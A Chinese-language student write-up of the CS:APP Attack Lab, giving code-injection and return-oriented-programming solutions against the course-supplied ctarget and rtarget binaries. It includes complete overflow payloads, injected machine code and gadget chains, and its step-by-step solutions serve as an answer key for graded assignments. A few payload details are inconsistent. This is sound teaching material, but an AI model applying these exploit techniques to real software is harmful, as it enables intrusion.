实验介绍
这个实验2个程序,包含了5个attacks,这个lab可以参考课本3.10.3和3.10.4章节。
文件结构
-
README.txt:实验目录说明
-
ctarget:可执行文件,code-injection实验
-
rtarget:可执行文件,return-oriented-programming实验
-
cookie.txt:包含了8位数字的16进制数,用于标记你的attack
-
farm.c:用于写一个return-oriented programming attack
-
hex2raw:用于生成return-oriented attack
实验准备
attacklab.pdf中在开始介绍作业题目前,讲了获取字符串的问题,和gets()
函数类似,这个getbuf可能没有足够大的buffer来存储输入数据,可能会覆盖其他地址的字节。
如果是在自己的虚拟机里面跑的话,需要加一个参数-q
,不提交到远程服务器。
hex2raw使用
把写好的字符串写到文件里面,再把文件输入到hex2raw文件,可以输出结果,搭配unix的管道符号操作,把输出结果又输入到另一个命令(可执行文件)中,这个在pdf的第四页有说明。
Code Injection Attacks
phase 1
phase1不需要注入新代码,设计一个利用字符串来使得程序 CTARGET 在执行函数 getbuf 的返回语句时,不是回到 test 函数,而是执行另一个名为 touch1 的函数。touch1 函数会设置变量 vlevel 为 1,打印一条消息,并通过调用 validate(1) 进行验证,然后退出程序。
反汇编后的几个关键函数如下,现在要做的是将getbuf的返回值篡改,通过输入足够的字符,把后面返回地址填充位touch1函数的起始地址。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
问题分析
让getbuf的函数返回地址篡改为0x4017c0即可,getbuf分配了40个字节,那么把这40个字节给占满,然后再把后面的8个字节(64位机)覆盖为0x4017c0即可,这样子就会调转到touch1在.text
段的代码。
注意:字节序问题,这个程序是小端的
问题就是这里的地址顺序问题,小端的话,低字节在高地址,我画了个图描述这个地址,test函数进入到getbuf函数后的栈内存分布如下。
输入文件如下,最后几个字节就是touch1的函数地址
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
C0 17 40
cat phase1.txt | ./hex2raw | ./ctarget -q
输出结果如下
gdb详细调试
先用hex2raw把输入文件十六进制转换为字符,方便gdb调试输入。
cat phase1.txt | ./hex2raw > input
gdb ./ctarget
b *0x4017b9
r -q < input
layout a
layout r
断点打到getbuf的add指令,再去查看sp指针的内存值,找到了函数返回值地址。
phase2
phase2涉及到注入一小段代码,让getbuf跳转到touch2而且执行if分支,而不是else分支。在touch2指令前要使用注入指令,参数valcookie就是%rdicookie,把cookie赋值给rdi。
本次实验实际上就是phase1相同操作+%rdi寄存器的篡改。
建议:
- 传递第一个参数要放到寄存器rdi
- 你的injected code是将cookie的值放到寄存器,然后使用一个ret指令跳到touch2
- 你的注入代码中不要用jmp或者call,因为指令目标地址很难确定
问题分析
现在的最大问题就是怎么把值放到%rdi中?毕竟是一段写好的可执行程序,没有办法直接修改它的代码。
现在注入代码就是让程序执行自己的机器指令,在getbuf返回地址修改为自己代码的起始地址,直接就从栈里面取出指令,然后执行完后再直接跳转到touch2函数。
movl $0x59b997fa, %edi
retq
通过汇编生成机器码
附录B介绍了使用汇编生成机器码,在phase2中需要使用到。
编译汇编后再反汇编
gcc -c phase2_injection.S
objdump -d phase2_injection.o > phase2_injection.dis
反汇编后生成的机器指令码
0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 68 ec 17 40 00 pushq $0x4017ec
a: c3 retq
gdb详细调试
现在有了机器码了,还要找到个合适位置注入攻击代码,和phase1一样,把代码注入到getbuf栈底,让Gets函数返回的时候调用的是自己的指令码。下面就是要注入的位置,和phase1一样,准备读入自己的代码,然后后面有个add $0x28,回来的时候再返回到你自己的注入代码,自己的注入代码ret指令再跳到touch2,这就是整个流程。
现在输入内容
bf fa 97 b9 59
c3
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00
打断点调试到恢复栈前,这个时候栈指针往上移动,这次是跳转到了栈里面的机器指令。
接下来进入到了自己的代码段了,开始操作,然后看到rsp,这个就是touch2的函数地址,直接跳转到touch2。
pitfalls
确实是跳转到了touch2,但是里面导致了segmentation fault?
debug后发现,是validate的时候导致的段错误,暂时没有详细去看,但是解决方式是直接在自己注入的代码后面加入跳转,不要在原来的getbuf后retq的rsp位置跳转。
这种方式输入就没有问题,有点奇怪,时间比较赶,mark下。
movl $0x59b997fa, %edi
push $0x4017ec
retq
bf fa 97 b9 59
68 ec 17 40 00
c3
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00
phase3
phase3也是代码注入攻击,但是这次传递的是一个字符串,这次的任务是
- 让test从getbuf跳转到touch3
- 让touch3的hexmatch通过if语句
这个实验和phase2十分相似,hexmatch将cookie从16进制转换成字符串,写到随机内存地址s。
首先写好要注入的代码,将字符串地址拷贝到%rdi,touch3的函数地址压栈后跳转。
mov $0x5561dca8, %rdi
pushq $0x4018f
retq
cookie对应的字符串是
0x30 0x78 0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61
最后输入的十六进制数结果如下,getbuf后跳转到注入的代码,然后注入的代码存放了cookie字符串地址,拿来在touch3函数中和cookie比较。
48 c7 c7 78 dc 61 55
68 fa 18 40 00
c3
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00
gdb调试
执行注入代码,把cookie字符串地址存放到%rdi。
进入到touch函数进行cookie比较。
直接跑程序,没问题。
ROP
现在到了ROP,ROP方式因为栈的随机化和栈不可执行性质,很难找到buffer地址和插入二进制代码。但是全局变量和代码位置不变,可以将一些可以执行的部分合并到一起注入,在课程上就是找到gadget(可执行的字节序列)。
phase4
phase4就是重复phase2,但是方式不同,通过构建gadget来攻击代码,只能使用下面的几条指令,并且只能使用x86-64的前8个寄存器(%rax-%rdi)。
- movq
- popq
- ret
- nop
所有的gadget都可以在start_farm和mid_farm之间找到。反汇编rtarget,实际上发和ctarget测试代码一样,就是加了栈随机化和栈不可执行,不能再像之前code injection那样,直接在栈里面存放二进制指令,然后跳转到指令那里执行。
回顾phase2
phase2将cookie立即数直接移动到了寄存器,然后作为参数传递到touch2,但是这里不能直接注入自己的代码,要找到已有的代码,把输入值覆盖掉栈,这次是让getbuf跳转到已有的函数中。
前面提到的能操作栈和寄存器的也就2个指令
- movq
- popq
那么可以这样子操作,把cookie从栈弹出,然后拷贝到rdi寄存器,再通过其他函数跳转到touch2。
popq %xxx #弹栈存到某个寄存器
movq %xxx, %rdi #将寄存器的再拷贝到rdi作为参数传递到touch2
作业提示了可以用2条指令完成赋值操作,把cookie拷贝到%rdi,再看到作业提示的2个函数之间可以找到合适的函数,里面是对寄存器进行操作。里面的大部分函数都是使用的%rax,可以选%rax作为中介,暂存cookie再拷贝到%rdi。
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
...
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
确定好了寄存器,根据作业pdf的图表,找到相关的机器码,看到涉及到的有
58 popq %rax
48 89 c7 movq %rax %rdi
找gadget
全局搜索58先,看到有2个简单的函数有58,而且后面没有跟c3,那么就可以作为gadget。
再看到48 89 c7
,全局搜索,找到一个addval_273合适,后面跟了c3。
现在gadget找到了,就要将cookie,还有gadget地址等组合起来输入,实现attack。步骤如下
- 字节填充覆盖buffer
- 找到弹栈指令
- 存放cookie,让弹栈指令把它放到%rax
- 找到
movq %rax, %rdi
- 存放touch2地址,然后找到一个c3让它跳转
步骤搭配找到的四个函数,已经非常明显了,候选的函数就是下面3个函数
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019a7 <addval_219>: #3选1
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
00000000004019b5 <setval_424>: #3选1
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019c3 <setval_426>: #3选1
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
构造输入值
首先是40个字节的填充,让buffer溢出
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
popq可以选择setval_424
,偏移了4个字节
ab 19 40
然后是cookie
fa 97 b9 59
movq选addval_273
,偏移2个字节
a2 19 40
最后是touch2的地址
ec 17 40
汇总一下,做个字节对齐
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
到此,这道题目结束(发现自己数了半天填充溢出字节数错了,还以为自己写错了)。
phase5
phase5是做一个ROP attack,和phase4相似,但是这次是让touch3函数带一个字符串指针参数。
那么,现在的问题就是如何传递这个字符串指针到touch3函数?这里有栈随机化,每次启动程序,栈的地址是不同的,字符串的地址不能直接写入buffer。
我的思路是这样的:首先,一样是在输入文件里填充字节,然后是找到的gadget函数地址,最后是字符串地址,通过%rsp做偏移(做phase4的时候看到一个偏移指令),然后可以拿到字符串地址放到%rdi中。
在rtarget下找到了下面的函数,%rdi+%rsi地址存放到%rax,前面的%rax又可以用movq移动到%rdi,这样完美闭环。现在的问题就是偏移地址周末存到%rdi和%rsi。
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
找gadget
又到了这个环节,找起来还是麻烦的,要关注的机器码如图所示。根据作业提示,这次可能还会用到4字节的指令,而且官方答案是8个指令(可能还有别的)。直接把全部机器码找了一遍,标记的都是有的(movq太多可能漏了)。
如果有相关的指令,写成下面的方式是最简单的。
movq %rsp, %rdi #基地址
popq %rsi #偏移值
callq <add_xy>
movq %rax, %rdi
根据上面我找到的,发现下面就非常好处理了,思路一下子清晰了(还好代码不算太多,不然我要找半天),绕了那么几条指令就是因为只有上面那么几条。
movq %rsp, %rax #addval_190 基地址
movq %rax, %rdi #addval_273 存到rdi
popq %rax #addval_219 偏移值
movl %eax, %edx # getval_481 # 偏移移动到edx
movl %edx, %ecx # getval_311 # 移动到 ecx
movl %ecx, %esi # addval_187 # 移动到rsi
callq <add_xy> #得到字符串地址
movq %rsp, %rdi # setval_426 #最后移动到rdi作为参数
构造输入值
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
phase5真的是找指令浪费时间,难怪说为什么学生如果还有其他课业压力大,这5分可以不要,挺不值的。
总结
- 相比bomb lab,难度没那么大,课堂上也讲的比较清楚